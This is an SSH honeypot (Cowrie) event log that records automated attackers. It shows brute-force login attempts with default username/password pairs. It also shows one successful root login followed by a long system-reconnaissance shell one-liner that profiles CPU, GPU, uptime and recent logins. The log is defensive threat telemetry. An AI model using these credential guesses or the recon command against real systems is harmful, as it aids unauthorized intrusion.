{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:00:13.130671Z","src_ip":"101.44.96.62","session":"904606a1feae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":54784,"dst_ip":"159.203.135.109","dst_port":22,"session":"c1cddc4b2559","protocol":"ssh","message":"New connection: 101.44.96.62:54784 (159.203.135.109:22) [session: c1cddc4b2559]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:00:24.546235Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:00:24.551277Z","src_ip":"101.44.96.62","session":"c1cddc4b2559","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:00:24.769995Z","src_ip":"101.44.96.62","session":"c1cddc4b2559","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"123","message":"login attempt [git/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:00:25.421885Z","src_ip":"101.44.96.62","session":"c1cddc4b2559","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:00:26.641309Z","src_ip":"101.44.96.62","session":"c1cddc4b2559","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":55736,"dst_ip":"159.203.135.109","dst_port":22,"session":"ee723f4d96dc","protocol":"ssh","message":"New connection: 101.44.96.62:55736 (159.203.135.109:22) [session: ee723f4d96dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:00:37.980227Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:00:37.984792Z","src_ip":"101.44.96.62","session":"ee723f4d96dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:00:38.201285Z","src_ip":"101.44.96.62","session":"ee723f4d96dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vagrant","password":"vagrant","message":"login attempt [vagrant/vagrant] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:00:38.853692Z","src_ip":"101.44.96.62","session":"ee723f4d96dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:00:40.070239Z","src_ip":"101.44.96.62","session":"ee723f4d96dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":55516,"dst_ip":"159.203.135.109","dst_port":22,"session":"567f3db77708","protocol":"ssh","message":"New connection: 101.44.96.62:55516 (159.203.135.109:22) [session: 567f3db77708]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:00:51.380579Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:00:51.385274Z","src_ip":"101.44.96.62","session":"567f3db77708","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:00:51.602976Z","src_ip":"101.44.96.62","session":"567f3db77708","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esuser","password":"123","message":"login attempt [esuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:00:52.261184Z","src_ip":"101.44.96.62","session":"567f3db77708","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:00:53.481476Z","src_ip":"101.44.96.62","session":"567f3db77708","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":43248,"dst_ip":"159.203.135.109","dst_port":22,"session":"12021dbfbbcb","protocol":"ssh","message":"New connection: 101.44.96.62:43248 (159.203.135.109:22) [session: 12021dbfbbcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:01:04.824414Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:01:04.828655Z","src_ip":"101.44.96.62","session":"12021dbfbbcb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:01:05.050987Z","src_ip":"101.44.96.62","session":"12021dbfbbcb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"ftpuser","message":"login attempt [ftpuser/ftpuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:01:05.701719Z","src_ip":"101.44.96.62","session":"12021dbfbbcb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:01:06.921688Z","src_ip":"101.44.96.62","session":"12021dbfbbcb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.240.199","src_port":58052,"dst_ip":"159.203.135.109","dst_port":22,"session":"17758a16dc30","protocol":"ssh","message":"New connection: 91.92.240.199:58052 (159.203.135.109:22) [session: 17758a16dc30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:01:11.553528Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:01:11.698442Z","src_ip":"91.92.240.199","session":"17758a16dc30","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:01:11.701893Z","src_ip":"91.92.240.199","session":"17758a16dc30","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"303.1","message":"Connection lost after 303.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:01:12.470897Z","src_ip":"180.184.141.117","session":"def4e79b3bc0","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"1234","message":"login attempt [root/1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:01:13.151143Z","src_ip":"91.92.240.199","session":"17758a16dc30","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:01:14.038447Z","src_ip":"91.92.240.199","session":"17758a16dc30","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E \"model name|Hardware\" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,\"\",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"CAT_HELP:$cat_help\"; echo \"LS_HELP:$ls_help\"; echo \"LAST:$last_output\"","message":"CMD: export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E \"model name|Hardware\" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,\"\",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"CAT_HELP:$cat_help\"; echo \"LS_HELP:$ls_help\"; echo \"LAST:$last_output\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:01:14.041816Z","src_ip":"91.92.240.199","session":"17758a16dc30","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -m 2 > /dev/null","message":"CMD: uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:01:14.045101Z","src_ip":"91.92.240.199","session":"17758a16dc30","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m 2 > /dev/null","message":"CMD: uname -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:01:14.049596Z","src_ip":"91.92.240.199","session":"17758a16dc30","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/uptime 2 > /dev/null | cut -d. -f1","message":"CMD: cat /proc/uptime 2 > /dev/null | cut -d. -f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:01:14.053442Z","src_ip":"91.92.240.199","session":"17758a16dc30","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"cut -d. -f1","message":"Command not found: cut -d. -f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:01:14.057280Z","src_ip":"91.92.240.199","session":"17758a16dc30","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a6ee2c8711434300fa8b915abb90fc277982f7cc01a88f7810cfa1ad8ef14853","size":74,"shasum":"a6ee2c8711434300fa8b915abb90fc277982f7cc01a88f7810cfa1ad8ef14853","duplicate":true,"duration":"0.7","message":"Closing TTY Log: var/lib/cowrie/tty/a6ee2c8711434300fa8b915abb90fc277982f7cc01a88f7810cfa1ad8ef14853 after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:01:14.728762Z","src_ip":"91.92.240.199","session":"17758a16dc30","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:01:14.733864Z","src_ip":"91.92.240.199","session":"17758a16dc30","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":53370,"dst_ip":"159.203.135.109","dst_port":22,"session":"0e2b33121674","protocol":"ssh","message":"New connection: 101.44.96.62:53370 (159.203.135.109:22) [session: 0e2b33121674]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:01:18.329509Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:01:18.334059Z","src_ip":"101.44.96.62","session":"0e2b33121674","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:01:18.548913Z","src_ip":"101.44.96.62","session":"0e2b33121674","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esuser","password":"esuser123","message":"login attempt [esuser/esuser123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:01:19.194565Z","src_ip":"101.44.96.62","session":"0e2b33121674","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:01:20.412729Z","src_ip":"101.44.96.62","session":"0e2b33121674","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":41558,"dst_ip":"159.203.135.109","dst_port":22,"session":"573337b8b615","protocol":"ssh","message":"New connection: 101.44.96.62:41558 (159.203.135.109:22) [session: 573337b8b615]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:01:31.810991Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:01:31.815750Z","src_ip":"101.44.96.62","session":"573337b8b615","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:01:32.032614Z","src_ip":"101.44.96.62","session":"573337b8b615","protocol":"ssh"}
